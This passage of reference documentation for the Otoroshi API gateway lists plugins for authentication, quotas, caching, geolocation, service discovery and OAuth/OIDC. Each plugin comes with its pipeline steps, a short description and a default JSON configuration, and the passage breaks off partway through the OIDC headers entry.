page\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MissingHeadersIn }\n\n## Missing headers in\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MissingHeadersIn`\n\n### Description\n\nThis plugin adds headers (if missing) in the incoming otoroshi request\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MissingHeadersOut }\n\n## Missing headers out\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MissingHeadersOut`\n\n### Description\n\nThis plugin adds headers (if missing) in the otoroshi response\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MockResponses }\n\n## Mock Responses\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MockResponses`\n\n### Description\n\nThis plugin returns mock responses\n\n\n\n### Default configuration\n\n```json\n{\n \"responses\" : [ ],\n \"pass_through\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MultiAuthModule }\n\n## Multi Authentication\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MultiAuthModule`\n\n### Description\n\nThis plugin applies an authentication module from a list of selected modules\n\n\n\n### Default configuration\n\n```json\n{\n \"pass_with_apikey\" : false,\n \"auth_modules\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgAuthModuleExpectedUser }\n\n## User logged in expected\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgAuthModuleExpectedUser`\n\n### Description\n\nThis plugin enforce that a user from any auth. module is logged in\n\n\n\n### Default configuration\n\n```json\n{\n \"only_from\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgAuthModuleUserExtractor }\n\n## User extraction from auth. module\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgAuthModuleUserExtractor`\n\n### Description\n\nThis plugin extracts users from an authentication module without enforcing login\n\n\n\n### Default configuration\n\n```json\n{\n \"auth_module\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgBiscuitExtractor }\n\n## Apikey from Biscuit token extractor\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgBiscuitExtractor`\n\n### Description\n\nThis plugin extract an from a Biscuit token where the biscuit has an #authority fact 'client_id' containing\napikey client_id and an #authority fact 'client_sign' that is the HMAC256 signature of the apikey client_id with the apikey client_secret\n\n\n\n### Default configuration\n\n```json\n{\n \"public_key\" : null,\n \"checks\" : [ ],\n \"facts\" : [ ],\n \"resources\" : [ ],\n \"rules\" : [ ],\n \"revocation_ids\" : [ ],\n \"extractor\" : {\n \"name\" : \"Authorization\",\n \"type\" : \"header\"\n },\n \"enforce\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgBiscuitValidator }\n\n## Biscuit token validator\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgBiscuitValidator`\n\n### Description\n\nThis plugin validates a Biscuit token\n\n\n\n### Default configuration\n\n```json\n{\n \"public_key\" : null,\n \"checks\" : [ ],\n \"facts\" : [ ],\n \"resources\" : [ ],\n \"rules\" : [ ],\n \"revocation_ids\" : [ ],\n \"extractor\" : {\n \"name\" : \"Authorization\",\n \"type\" : \"header\"\n },\n \"enforce\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgCertificateAsApikey }\n\n## Client certificate as apikey\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgCertificateAsApikey`\n\n### Description\n\nThis plugin uses client certificate as an apikey. The apikey will be stored for classic apikey usage\n\n\n\n### Default configuration\n\n```json\n{\n \"read_only\" : false,\n \"allow_client_id_only\" : false,\n \"throttling_quota\" : 100,\n \"daily_quota\" : 10000000,\n \"monthly_quota\" : 10000000,\n \"constrained_services_only\" : false,\n \"tags\" : [ ],\n \"metadata\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgClientCertChainHeader }\n\n## Client certificate header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgClientCertChainHeader`\n\n### Description\n\nThis plugin pass client certificate informations to the target in headers\n\n\n\n### Default configuration\n\n```json\n{\n \"send_pem\" : false,\n \"pem_header_name\" : \"X-Client-Cert-Pem\",\n \"send_dns\" : false,\n \"dns_header_name\" : \"X-Client-Cert-DNs\",\n \"send_chain\" : false,\n \"chain_header_name\" : \"X-Client-Cert-Chain\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgClientCredentialTokenEndpoint }\n\n## Client credential token endpoint\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgClientCredentialTokenEndpoint`\n\n### Description\n\nThis plugin provide the endpoint for the client_credential flow token endpoint\n\n\n\n### Default configuration\n\n```json\n{\n \"expiration\" : 3600000,\n \"default_key_pair\" : \"otoroshi-jwt-signing\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgClientCredentials }\n\n## Client Credential Service\n\n### Defined on steps\n\n - `Sink`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgClientCredentials`\n\n### Description\n\nThis plugin add an an oauth client credentials service (`https://unhandleddomain/.well-known/otoroshi/oauth/token`) to create an access_token given a client id and secret\n\n\n\n### Default configuration\n\n```json\n{\n \"expiration\" : 3600000,\n \"default_key_pair\" : \"otoroshi-jwt-signing\",\n \"domain\" : \"*\",\n \"secure\" : true,\n \"biscuit\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgCustomQuotas }\n\n## Custom quotas\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgCustomQuotas`\n\n### Description\n\nThis plugin will enforce quotas on the current route based on whatever you want\n\n\n\n### Default configuration\n\n```json\n{\n \"per_route\" : true,\n \"global\" : false,\n \"group\" : null,\n \"expression\" : \"${req.ip}\",\n \"daily_quota\" : 10000000,\n \"monthly_quota\" : 10000000\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgCustomThrottling }\n\n## Custom throttling\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgCustomThrottling`\n\n### Description\n\nThis plugin will enforce throttling on the current route based on whatever you want\n\n\n\n### Default configuration\n\n```json\n{\n \"per_route\" : true,\n \"global\" : false,\n \"group\" : null,\n \"expression\" : \"${req.ip}\",\n \"throttling_quota\" : 100\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDefaultRequestBody }\n\n## Default request body\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDefaultRequestBody`\n\n### Description\n\nThis plugin adds a default request body if none specified\n\n\n\n### Default configuration\n\n```json\n{\n \"bodyBinary\" : \"\",\n \"contentType\" : \"text/plain\",\n \"contentEncoding\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDeferPlugin }\n\n## Defer Responses\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDeferPlugin`\n\n### Description\n\nThis plugin will expect a `X-Defer` header or a `defer` query param and defer the response according to the value in milliseconds.\nThis plugin is some kind of inside joke as one a our customer ask us to make slower apis.\n\n\n\n### Default configuration\n\n```json\n{\n \"duration\" : 0\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDiscoverySelfRegistrationSink }\n\n## Global self registration endpoints (service discovery)\n\n### Defined on steps\n\n - `Sink`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDiscoverySelfRegistrationSink`\n\n### Description\n\nThis plugin add support for self registration endpoint on specific hostnames\n\n\n\n### Default configuration\n\n```json\n{ }\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDiscoverySelfRegistrationTransformer }\n\n## Self registration endpoints (service discovery)\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDiscoverySelfRegistrationTransformer`\n\n### Description\n\nThis plugin add support for self registration endpoint on a specific service\n\n\n\n### Default configuration\n\n```json\n{ }\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgDiscoveryTargetsSelector }\n\n## Service discovery target selector (service discovery)\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgDiscoveryTargetsSelector`\n\n### Description\n\nThis plugin select a target in the pool of discovered targets for this service.\nUse in combination with either `DiscoverySelfRegistrationSink` or `DiscoverySelfRegistrationTransformer` to make it work using the `self registration` pattern.\nOr use an implementation of `DiscoveryJob` for the `third party registration pattern`.\n\n\n\n### Default configuration\n\n```json\n{ }\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgErrorRewriter }\n\n## Error response rewrite\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgErrorRewriter`\n\n### Description\n\nThis plugin catch http response with specific statuses and rewrite the response\n\n\n\n### Default configuration\n\n```json\n{\n \"ranges\" : [ {\n \"from\" : 500,\n \"to\" : 599\n } ],\n \"templates\" : {\n \"default\" : \"\\n \\n

An error occurred with id: ${error_id}

\\n

please contact your administrator with this error id !

\\n \\n\"\n },\n \"log\" : true,\n \"export\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgGeolocationInfoEndpoint }\n\n## Geolocation endpoint\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgGeolocationInfoEndpoint`\n\n### Description\n\nThis plugin will expose current geolocation informations on the following endpoint `/.well-known/otoroshi/plugins/geolocation`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgGeolocationInfoHeader }\n\n## Geolocation header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgGeolocationInfoHeader`\n\n### Description\n\nThis plugin will send informations extracted by the Geolocation details extractor to the target service in a header.\n\n\n\n### Default configuration\n\n```json\n{\n \"header_name\" : \"X-User-Agent-Info\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasAllowedUsersValidator }\n\n## Allowed users only\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasAllowedUsersValidator`\n\n### Description\n\nThis plugin only let allowed users pass\n\n\n\n### Default configuration\n\n```json\n{\n \"usernames\" : [ ],\n \"emails\" : [ ],\n \"email_domains\" : [ ],\n \"metadata_match\" : [ ],\n \"metadata_not_match\" : [ ],\n \"profile_match\" : [ ],\n \"profile_not_match\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasClientCertMatchingApikeyValidator }\n\n## Client Certificate + Api Key only\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasClientCertMatchingApikeyValidator`\n\n### Description\n\nCheck if a client certificate is present in the request and that the apikey used matches the client certificate.\nYou can set the client cert. DN in an apikey metadata named `allowed-client-cert-dn`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasClientCertMatchingHttpValidator }\n\n## Client certificate matching (over http)\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasClientCertMatchingHttpValidator`\n\n### Description\n\nCheck if client certificate matches the following fetched from an http endpoint\n\n\n\n### Default configuration\n\n```json\n{\n \"serial_numbers\" : [ ],\n \"subject_dns\" : [ ],\n \"issuer_dns\" : [ ],\n \"regex_subject_dns\" : [ ],\n \"regex_issuer_dns\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasClientCertMatchingValidator }\n\n## Client certificate matching\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasClientCertMatchingValidator`\n\n### Description\n\nCheck if client certificate matches the following configuration\n\n\n\n### Default configuration\n\n```json\n{\n \"serial_numbers\" : [ ],\n \"subject_dns\" : [ ],\n \"issuer_dns\" : [ ],\n \"regex_subject_dns\" : [ ],\n \"regex_issuer_dns\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHasClientCertValidator }\n\n## Client Certificate Only\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHasClientCertValidator`\n\n### Description\n\nCheck if a client certificate is present in the request\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHtmlPatcher }\n\n## Html Patcher\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHtmlPatcher`\n\n### Description\n\nThis plugin can inject elements in html pages (in the body or in the head) returned by the service\n\n\n\n### Default configuration\n\n```json\n{\n \"append_head\" : [ ],\n \"append_body\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgHttpClientCache }\n\n## HTTP Client Cache\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgHttpClientCache`\n\n### Description\n\nThis plugin add cache headers to responses\n\n\n\n### Default configuration\n\n```json\n{\n \"max_age_seconds\" : 86400,\n \"methods\" : [ \"GET\" ],\n \"status\" : [ 200 ],\n \"mime_types\" : [ \"text/html\" ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgIpStackGeolocationInfoExtractor }\n\n## Geolocation details extractor (using IpStack api)\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgIpStackGeolocationInfoExtractor`\n\n### Description\n\nThis plugin extract geolocation informations from ip address using the [IpStack dbs](https://ipstack.com/).\nThe informations are store in plugins attrs for other plugins to use\n\n\n\n### Default configuration\n\n```json\n{\n \"apikey\" : null,\n \"timeout\" : 2000,\n \"log\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgIzanamiV1Canary }\n\n## Izanami V1 Canary Campaign\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgIzanamiV1Canary`\n\n### Description\n\nThis plugin allow you to perform canary testing based on an izanami experiment campaign (A/B test)\n\n\n\n### Default configuration\n\n```json\n{\n \"experiment_id\" : \"foo:bar:qix\",\n \"config_id\" : \"foo:bar:qix:config\",\n \"izanami_url\" : \"https://izanami.foo.bar\",\n \"tls\" : {\n \"certs\" : [ ],\n \"trusted_certs\" : [ ],\n \"enabled\" : false,\n \"loose\" : false,\n \"trust_all\" : false\n },\n \"client_id\" : \"client\",\n \"client_secret\" : \"secret\",\n \"timeout\" : 5000,\n \"route_config\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgIzanamiV1Proxy }\n\n## Izanami v1 APIs Proxy\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgIzanamiV1Proxy`\n\n### Description\n\nThis plugin exposes routes to proxy Izanami configuration and features tree APIs\n\n\n\n### Default configuration\n\n```json\n{\n \"path\" : \"/api/izanami\",\n \"feature_pattern\" : \"*\",\n \"config_pattern\" : \"*\",\n \"auto_context\" : false,\n \"features_enabled\" : true,\n \"features_with_context_enabled\" : true,\n \"configuration_enabled\" : false,\n \"tls\" : {\n \"certs\" : [ ],\n \"trusted_certs\" : [ ],\n \"enabled\" : false,\n \"loose\" : false,\n \"trust_all\" : false\n },\n \"izanami_url\" : \"https://izanami.foo.bar\",\n \"client_id\" : \"client\",\n \"client_secret\" : \"secret\",\n \"timeout\" : 500\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgJwtUserExtractor }\n\n## Jwt user extractor\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgJwtUserExtractor`\n\n### Description\n\nThis plugin extract a user from a JWT token\n\n\n\n### Default configuration\n\n```json\n{\n \"verifier\" : \"none\",\n \"strict\" : true,\n \"strip\" : false,\n \"name_path\" : null,\n \"email_path\" : null,\n \"meta_path\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgLegacyApikeyCall }\n\n## Legacy apikeys\n\n### Defined on steps\n\n - `MatchRoute`\n - `ValidateAccess`\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgLegacyApikeyCall`\n\n### Description\n\nThis plugin expects to find an apikey to allow the request to pass. This plugin behaves exactly like the service descriptor does\n\n\n\n### Default configuration\n\n```json\n{\n \"public_patterns\" : [ ],\n \"private_patterns\" : [ ],\n \"extractors\" : {\n \"basic\" : {\n \"enabled\" : true,\n \"header_name\" : null,\n \"query_name\" : null\n },\n \"custom_headers\" : {\n \"enabled\" : true,\n \"client_id_header_name\" : null,\n \"client_secret_header_name\" : null\n },\n \"client_id\" : {\n \"enabled\" : true,\n \"header_name\" : null,\n \"query_name\" : null\n },\n \"jwt\" : {\n \"enabled\" : true,\n \"secret_signed\" : true,\n \"keypair_signed\" : true,\n \"include_request_attrs\" : false,\n \"max_jwt_lifespan_sec\" : null,\n \"header_name\" : null,\n \"query_name\" : null,\n \"cookie_name\" : null\n }\n },\n \"routing\" : {\n \"enabled\" : false\n },\n \"validate\" : true,\n \"mandatory\" : true,\n \"pass_with_user\" : false,\n \"wipe_backend_request\" : true,\n \"update_quotas\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgLegacyAuthModuleCall }\n\n## Legacy Authentication\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgLegacyAuthModuleCall`\n\n### Description\n\nThis plugin applies an authentication module the same way service descriptor does\n\n\n\n### Default configuration\n\n```json\n{\n \"public_patterns\" : [ ],\n \"private_patterns\" : [ ],\n \"pass_with_apikey\" : false,\n \"auth_module\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgLog4ShellFilter }\n\n## Log4Shell mitigation plugin\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgLog4ShellFilter`\n\n### Description\n\nThis plugin try to detect Log4Shell attacks in request and block them\n\n\n\n### Default configuration\n\n```json\n{\n \"status\" : 200,\n \"body\" : \"\",\n \"parse_body\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgMaxMindGeolocationInfoExtractor }\n\n## Geolocation details extractor (using Maxmind db)\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgMaxMindGeolocationInfoExtractor`\n\n### Description\n\nThis plugin extract geolocation informations from ip address using the [Maxmind dbs](https://www.maxmind.com/en/geoip2-databases).\nThe informations are store in plugins attrs for other plugins to use\n\n\n\n### Default configuration\n\n```json\n{\n \"path\" : \"global\",\n \"log\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgResponseCache }\n\n## Response Cache\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgResponseCache`\n\n### Description\n\nThis plugin can cache responses from target services in the otoroshi datasstore\nIt also provides a debug UI at `/.well-known/otoroshi/bodylogger`.\n\n\n\n### Default configuration\n\n```json\n{\n \"ttl\" : 3600000,\n \"maxSize\" : 52428800,\n \"autoClean\" : true,\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgSecurityTxt }\n\n## Security Txt\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgSecurityTxt`\n\n### Description\n\nThis plugin exposes a special route `/.well-known/security.txt` as proposed at [https://securitytxt.org/](https://securitytxt.org/)\n\n\n\n### Default configuration\n\n```json\n{\n \"contact\" : \"contact@foo.bar\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgServiceQuotas }\n\n## Public quotas\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgServiceQuotas`\n\n### Description\n\nThis plugin will enforce public quotas on the current route\n\n\n\n### Default configuration\n\n```json\n{\n \"throttling_quota\" : 10000000,\n \"daily_quota\" : 10000000,\n \"monthly_quota\" : 10000000\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgTrafficMirroring }\n\n## Traffic Mirroring\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgTrafficMirroring`\n\n### Description\n\nThis plugin will mirror every request to other targets\n\n\n\n### Default configuration\n\n```json\n{\n \"to\" : \"https://foo.bar.dev\",\n \"enabled\" : true,\n \"capture_response\" : false,\n \"generate_events\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgUserAgentExtractor }\n\n## User-Agent details extractor\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgUserAgentExtractor`\n\n### Description\n\nThis plugin extract informations from User-Agent header such as browsser version, OS version, etc.\nThe informations are store in plugins attrs for other plugins to use\n\n\n\n### Default configuration\n\n```json\n{\n \"log\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgUserAgentInfoEndpoint }\n\n## User-Agent endpoint\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgUserAgentInfoEndpoint`\n\n### Description\n\nThis plugin will expose current user-agent informations on the following endpoint: /.well-known/otoroshi/plugins/user-agent\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgUserAgentInfoHeader }\n\n## User-Agent header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgUserAgentInfoHeader`\n\n### Description\n\nThis plugin will sent informations extracted by the User-Agent details extractor to the target service in a header\n\n\n\n### Default configuration\n\n```json\n{\n \"header_name\" : \"X-User-Agent-Info\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OAuth1Caller }\n\n## OAuth1 caller\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OAuth1Caller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using OAuth1.\n Consumer key, secret, and OAuth token et OAuth token secret can be pass through the metadata of an api key\n or via the configuration of this plugin.\n\n\n\n### Default configuration\n\n```json\n{\n \"consumerKey\" : null,\n \"consumerSecret\" : null,\n \"token\" : null,\n \"tokenSecret\" : null,\n \"algo\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OAuth2Caller }\n\n## OAuth2 caller\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OAuth2Caller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using OAuth2 client_credential/password flow.\nDo not forget to enable client retry to handle token generation on expire.\n\n\n\n### Default configuration\n\n```json\n{\n \"kind\" : \"client_credentials\",\n \"url\" : \"https://127.0.0.1:8080/oauth/token\",\n \"method\" : \"POST\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Bearer %s\",\n \"jsonPayload\" : false,\n \"clientId\" : \"the client_id\",\n \"clientSecret\" : \"the client_secret\",\n \"scope\" : null,\n \"audience\" : null,\n \"user\" : null,\n \"password\" : null,\n \"cacheTokenSeconds\" : 600000,\n \"tlsConfig\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OIDCAccessTokenAsApikey }\n\n## OIDC access_token as apikey\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OIDCAccessTokenAsApikey`\n\n### Description\n\nThis plugin will use the third party apikey configuration to generate an apikey\n\n\n\n### Default configuration\n\n```json\n{\n \"enabled\" : true,\n \"atLeastOne\" : false,\n \"config\" : {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OIDCAccessTokenValidator }\n\n## OIDC access_token validator\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OIDCAccessTokenValidator`\n\n### Description\n\nThis plugin will use the third party apikey configuration and apply it while keeping the apikey mecanism of otoroshi.\nUse it to combine apikey validation and OIDC access_token validation.\n\n\n\n### Default configuration\n\n```json\n{\n \"enabled\" : true,\n \"atLeastOne\" : false,\n \"config\" : {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OIDCHeaders }\n\n## OIDC headers\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OIDCHeaders`\n\n### Description\n\nThis plugin injects headers containing tokens and profile from current OIDC provider.\n\n\n\n### Default configuration\n\n```json\n{\n \"profile\" : {\n \"send\" : false,\n \"headerName\" : \"X-OIDC-User\"\n },\n \"idToken\" 